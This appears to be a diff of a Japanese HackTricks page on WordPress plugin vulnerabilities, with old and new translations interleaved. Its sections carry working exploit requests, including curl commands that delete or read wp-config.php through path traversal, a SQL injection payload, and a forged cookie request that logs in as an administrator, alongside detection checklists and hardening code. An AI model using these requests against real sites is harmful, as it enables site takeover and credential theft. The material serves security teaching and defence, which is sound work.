- 特権付きコールバックが堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダーに依存していないか REST 登録を確認する。
|
||||
- REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
|
||||
|
||||
Hardening
|
||||
ハードニング
|
||||
|
||||
- クライアント制御のヘッダから認証や認可を派生させてはならない。
|
||||
- reverse proxy が identity を注入する必要がある場合は、プロキシで信頼を終端しインバウンドのコピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その後署名付きトークンを渡してサーバー側で検証する。
|
||||
- 特権的操作を行う REST ルートでは `current_user_can()` チェックと厳格な `permission_callback` を要求する(`__return_true` を使用してはならない)。
|
||||
- ヘッダによる “impersonation” よりも、ファーストパーティ認証(cookies、application passwords、OAuth)を優先する。
|
||||
- 認証や認可をクライアント制御のヘッダーから派生させない。
|
||||
- reverse proxy が識別情報を注入する必要がある場合は、プロキシで信頼を終了しインバウンドのコピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その後署名付きトークンを渡してサーバー側で検証する。
|
||||
- 特権操作を行う REST ルートでは `current_user_can()` チェックと厳格な `permission_callback` を要求する(`__return_true` を使わない)。
|
||||
- ヘッダーによる“impersonation”よりもファーストパーティの認証(cookies、application passwords、OAuth)を優先する。
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
参考: このページ末のリンクを参照してください。公開事例とより広い分析があります。
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress のテーマやプラグインはしばしば `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開する。**_nopriv_** バリアントが使われると **コールバックは未認証の訪問者から到達可能になる**ため、敏感な処理は追加で次を実装しなければならない:
|
||||
WordPress のテーマやプラグインは `wp_ajax_` と `wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると、**コールバックが認証されていない訪問者から到達可能になる**ため、敏感な操作には追加で次を実装する必要がある:
|
||||
|
||||
1. **権限チェック**(例: `current_user_can()`、少なくとも `is_user_logged_in()`)、および
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` で検証される **CSRF nonce**、および
|
||||
3. **厳格な入力サニタイズ / バリデーション**。
|
||||
1. 権限チェック(例: `current_user_can()` または最低でも `is_user_logged_in()`)、および
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()` による CSRF nonce の検証、および
|
||||
3. 厳格な入力のサニタイズ/検証。
|
||||
|
||||
Litho multipurpose theme (< 3.1) は *Remove Font Family* 機能でこれら 3 つの制御を忘れており、結果として次のコード(簡略化)を出荷していた:
|
||||
Litho マルチパーパステーマ (< 3.1) は *Remove Font Family* 機能でこれら 3 つの制御を忘れ、結果として次のコード(簡略化)を出荷した:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -445,31 +444,29 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
このスニペットによって導入される問題点:
|
||||
|
||||
* **Unauthenticated access** – `wp_ajax_nopriv_` フックが登録されている。
|
||||
* **No nonce / capability check** – 訪問者は誰でもこのエンドポイントにアクセスできる。
|
||||
* **No path sanitisation** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしにファイルシステムのパスに連結され、古典的な `../../` トラバーサルを許している。
|
||||
* **未認証アクセス** – `wp_ajax_nopriv_` フックが登録されています。
|
||||
* **No nonce / capability check** – 任意の訪問者がこのエンドポイントにアクセスできます。
|
||||
* **No path sanitisation** – ユーザー制御の `fontfamily` 文字列がフィルタリングなしにファイルシステムパスに連結されており、古典的な `../../` トラバーサルを許します。
|
||||
|
||||
#### 悪用
|
||||
|
||||
攻撃者は単一の HTTP POST リクエストを送ることで、通常 `<wp-root>/wp-content/uploads/` にある、**uploads base directory 以下の** 任意のファイルやディレクトリを削除できる:
|
||||
攻撃者は単一の HTTP POST リクエストを送ることで、**uploads ベースディレクトリ以下**(通常 `<wp-root>/wp-content/uploads/`)の任意のファイルまたはディレクトリを削除できます:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
`wp-config.php` は *uploads* の外にあるため、デフォルトのインストールでは `../` を4回繰り返すだけで十分です。`wp-config.php` を削除すると、次回の訪問時に WordPress は *インストールウィザード* に入り、サイトを完全に乗っ取ることが可能になります(攻撃者は新しい DB 設定を渡し、管理者ユーザーを作成するだけです)。
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
他に影響の大きいターゲットとしては、プラグイン/テーマの `.php` ファイル(セキュリティプラグインを無効化するため)や `.htaccess` のルールなどがあります。
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### 検出チェックリスト
|
||||
|
||||
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` のコールバック。
|
||||
* パスに対してサニタイズされていないユーザー入力を連結している(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` の不在。
|
||||
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。
|
||||
* パスに未サニタイズのユーザー入力を連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
|
||||
* `check_ajax_referer()` や `current_user_can()`/`is_user_logged_in()` の欠如。
|
||||
|
||||
#### 強化
|
||||
#### ハードニング
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -489,16 +486,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **常に** ディスクへの書き込み/削除操作は権限が必要な操作として扱い、必ず再確認してください:
|
||||
> • 認証 • 認可 • Nonce • 入力のサニタイズ • パスの包含 (例: `realpath()` と `str_starts_with()` を併用).
|
||||
> **Always** ディスク上の書き込み/削除操作を privileged と見なし、次を二重に確認してください:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation — 古いロールの復元と認可不足による (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
多くのプラグインは "view as role" や一時的なロール切替機能を実装し、元のロールを user meta に保存して後で復元できるようにしています。復元処理がリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグイン内のリストのみを頼りにし、capabilities の確認や有効な nonce を検証していない場合、これは vertical privilege escalation になります。
|
||||
多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ(例: `$_REQUEST['reset-for']`)とプラグイン管理のリストのみに依存し、capabilities の確認や有効な nonce をチェックしない場合、これは垂直的な privilege escalation になります。
|
||||
|
||||
実際の例として、Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) で問題が見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していましたが、`current_user_can()` チェックも nonce の検証も行わず、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されていたロールを再追加していました:
|
||||
実例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) に見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元しましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -515,15 +512,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
- サーバー側の認可なしに `$_REQUEST['reset-for']` とプラグインオプションを信頼する。
|
||||
- ユーザーが以前 `_asenha_view_admin_as_original_roles` に高い権限を保存されていてダウングレードされている場合、リセットパスにアクセスすることでそれらを復元できる。
|
||||
- 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の破綻)。
|
||||
- `$_REQUEST['reset-for']` とプラグインのオプションをサーバー側の認可なしに信頼している。
|
||||
- ユーザーが以前 `_asenha_view_admin_as_original_roles` により高い権限を保存されていて降格されていた場合、リセットパスにアクセスすることでそれらを復元できる。
|
||||
- 一部のデプロイでは、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可の不備)。
|
||||
|
||||
攻撃の前提条件
|
||||
|
||||
- 当該機能が有効化された脆弱なプラグインバージョン。
|
||||
- ターゲットアカウントに、以前の利用時に user meta に古い高権限ロールが保存されていること。
|
||||
- 任意の認証済みセッション。リセットフローで nonce/capability が欠如していること。
|
||||
- 当該機能が有効になっている脆弱なプラグインのバージョン。
|
||||
- 対象アカウントが、以前の使用から user meta に古い高権限ロールを保持している。
|
||||
- 任意の認証済みセッション;リセットフローに nonce/capability が欠如している。
|
||||
|
||||
悪用(例)
|
||||
```bash
|
||||
@ -533,57 +530,106 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
脆弱なビルドでは、これは現在のロールを削除し、保存された元のロール(例: `administrator`)を再追加することで、実質的に権限を昇格させます。
|
||||
脆弱なビルドでは、これは現在のロールを削除し、保存されている元のロール(例:`administrator`)を再追加します。これにより、実質的に権限が昇格します。
|
||||
|
||||
Detection checklist
|
||||
|
||||
- ユーザーメタに“元のロール”を永続化するロール切替機能(例: `_asenha_view_admin_as_original_roles`)を探す。
|
||||
- リセット/復元用のパスで以下を満たすものを特定する:
|
||||
- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取る。
|
||||
- `current_user_can()` および `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()` を使ってロールを変更する。
|
||||
- アクターの capabilities ではなく、プラグインのオプション配列(例: `viewing_admin_as_role_are`)に基づいて認可する。
|
||||
- ユーザーメタに“元のロール”を永続化するロール切替機能を探す(例:`_asenha_view_admin_as_original_roles`)。
|
||||
- リセット/復元パスを特定する:
|
||||
- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取っている。
|
||||
- `current_user_can()` と `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()` を介してロールを変更している。
|
||||
- アクターの権限ではなく、プラグインのオプション配列(例:`viewing_admin_as_role_are`)に基づいて認可している。
|
||||
|
||||
Hardening
|
||||
|
||||
- 状態を変更するすべての分岐で capability チェックを強制する(例: `current_user_can('manage_options')` あるいはそれより厳格なチェック)。
|
||||
- すべてのロール/権限変更に対して nonces を要求し、それらを検証する: `check_admin_referer()` / `wp_verify_nonce()`。
|
||||
- リクエスト由来のユーザー名を決して信用せず、認証済みアクターと明確なポリシーに基づいてサーバー側で対象ユーザーを解決する。
|
||||
- プロファイル/ロールが更新された際に“元のロール”状態を無効化して、古い高権限の復元を防ぐ:
|
||||
- 状態を変更するすべての分岐で権限チェックを強制する(例:`current_user_can('manage_options')` もしくはより厳格なもの)。
|
||||
- すべてのロール/権限変更に対して nonce を要求し、検証する:`check_admin_referer()` / `wp_verify_nonce()`。
|
||||
- リクエストで渡されたユーザー名を決して信頼しない。認証済みアクターと明確なポリシーに基づき、ターゲットユーザーをサーバー側で解決する。
|
||||
- プロファイル/ロール更新時に“元のロール”の状態を無効化し、古い高権限が復元されるのを防ぐ:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きの権限保護トークンを使用することを検討する。
|
||||
- 一時的なロール切り替えでは、状態を最小限に抑え、時間制限付きで権限チェックされたトークンを使用することを検討してください。
|
||||
|
||||
---
|
||||
|
||||
### WordPress/プラグインのCVEに対するWAFの考慮事項
|
||||
### 認証されていない privilege escalation via cookie‑trusted user switching on public `init` (Service Finder “sf-booking”)
|
||||
|
||||
一般的なエッジ/サーバーWAFは、広範なパターン(SQLi、XSS、LFI)に対して調整されています。多くの高影響なWordPress/プラグインの脆弱性は、アプリケーション固有のロジックや認可のバグであり、エンジンがWordPressのルートやプラグインのセマンティクスを理解していない限り、正当なトラフィックのように見えます。
|
||||
一部のプラグインは user-switching ヘルパーを public `init` フックに結び付け、クライアント制御の cookie から識別を導出します。もしコードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出していると、任意の未認証訪問者が任意のユーザー ID として強制ログインできます。
|
||||
|
||||
攻撃者向けメモ
|
||||
典型的な脆弱なパターン(Service Finder Bookings ≤ 6.1 から簡略化):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
- プラグイン固有のエンドポイントをクリーンなペイロードで狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- まず未認証パスを試す(AJAX `nopriv`, RESTで権限が緩い `permission_callback`, 公開shortcodes)。デフォルトのペイロードは難読化なしで成功することが多い。
|
||||
- 典型的な高影響ケース: 権限昇格(アクセス制御の破綻)、任意ファイルのアップロード/ダウンロード、LFI、オープンリダイレクト。
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
なぜ悪用可能か
|
||||
|
||||
防御ノート
|
||||
- 公開された `init` フックにより、ハンドラが unauthenticated users から到達可能になる(`is_user_logged_in()` ガードがない)。
|
||||
- 識別はクライアントで変更可能な cookie (`original_user_id`) から派生している。
|
||||
- 直接 `wp_set_auth_cookie($uid)` を呼び出すことで、要求者をそのユーザーとしてログインさせるが、権限 (capability) や nonce のチェックが行われない。
|
||||
|
||||
- プラグインのCVE保護に汎用WAFシグネチャを頼ってはいけない。アプリケーション層で脆弱性固有の仮想パッチを実装するか、素早くアップデートすること。
|
||||
- コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェック(capabilities、nonces、厳格な入力検証)を優先する。
|
||||
悪用(unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
## WordPressの保護
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
### 定期的な更新
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
|
||||
WordPress、プラグイン、テーマが最新であることを確認する。また、wp-config.phpで自動更新が有効になっていることを確認する:
|
||||
Offensive notes
|
||||
|
||||
- クリーンな payloads で plugin 固有のエンドポイントを狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- まず unauth パスを試す (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトの payloads はしばしば難読化なしで成功する。
|
||||
- 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- plugin CVEs を保護するために汎用 WAF シグネチャに頼らない。アプリケーションレイヤーで脆弱性固有の virtual patches を実装するか、迅速に更新する。
|
||||
- コード内では negative regex フィルタよりも、positive-security チェック(capabilities、nonces、厳格な入力検証)を優先する。
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
|
||||
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
また、**信頼できる WordPress のプラグインとテーマのみをインストールしてください**。
|
||||
Also, **only install trustable WordPress plugins and themes**.
|
||||
|
||||
### セキュリティプラグイン
|
||||
|
||||
@ -595,14 +641,13 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
- デフォルトの **admin** ユーザーを削除する
|
||||
- 強力な**パスワード**と**2FA**を使用する
|
||||
- 定期的にユーザーの **権限** を見直す
|
||||
- Brute Force attacks を防ぐために **ログイン試行回数を制限する**
|
||||
- ファイル **`wp-admin.php`** の名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
|
||||
- 定期的にユーザーの**権限**を**見直す**
|
||||
- **ログイン試行回数を制限**して Brute Force 攻撃を防ぐ
|
||||
- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
|
||||
|
||||
### 検証不足による未認証の SQL Injection (WP Job Portal <= 2.3.2)
|
||||
|
||||
### 検証不足による未認証 SQL Injection (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal の recruitment プラグインは **savecategory** タスクを公開しており、最終的に以下の脆弱なコードを `modules/category/model.php::validateFormData()` 内で実行します:
|
||||
WP Job Portal の recruitment プラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -612,13 +657,13 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
このスニペットによって導入された問題:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **Unsanitised user input** – `parentid` は HTTP リクエストからそのまま来ている。
|
||||
2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / プリペアドステートメントが使われていない。
|
||||
3. **Unauthenticated reachability** – このアクションは `admin-post.php` を通して実行されるが、唯一のチェックは **CSRF nonce** (`wp_verify_nonce()` ) であり、これはショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから任意の訪問者が取得できる。
|
||||
1. **未サニタイズのユーザー入力** – `parentid` は HTTP リクエストから直接取得されます。
|
||||
2. **WHERE句内での文字列連結** – `is_numeric()` / `esc_sql()` / prepared statement が使われていません。
|
||||
3. **認証不要で到達可能** – アクションは `admin-post.php` 経由で実行されますが、設けられている唯一のチェックは **CSRF nonce**(`wp_verify_nonce()`)で、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。
|
||||
|
||||
#### Exploitation
|
||||
#### 悪用
|
||||
|
||||
1. 新しい nonce を取得:
|
||||
```bash
|
||||
@ -632,20 +677,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
レスポンスは注入されたクエリの結果を露出するか、あるいはデータベースを変更し、SQLi を立証する。
|
||||
レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi を実証します。
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
別のタスク、**downloadcustomfile** はパストラバーサルを介して訪問者に **ディスク上の任意のファイル** をダウンロードさせることを許していた。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にある:
|
||||
別のタスク、**downloadcustomfile** は、訪問者が path traversal を悪用してディスク上の **任意のファイル** をダウンロードできるようにしていました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` は攻撃者が制御しており、**without sanitisation** のまま連結されています。繰り返しますが、唯一の防御は履歴書ページから取得できる**CSRF nonce**です。
|
||||
`$file_name` は攻撃者が制御しており、**サニタイズされずに**連結されます。再度、唯一の障壁は、resume ページから取得できる**CSRF nonce**です。
|
||||
|
||||
#### Exploitation
|
||||
#### 悪用
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -654,16 +699,18 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys。
|
||||
サーバーは `wp-config.php` の内容を返し、leaking DB credentials and auth keys.
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user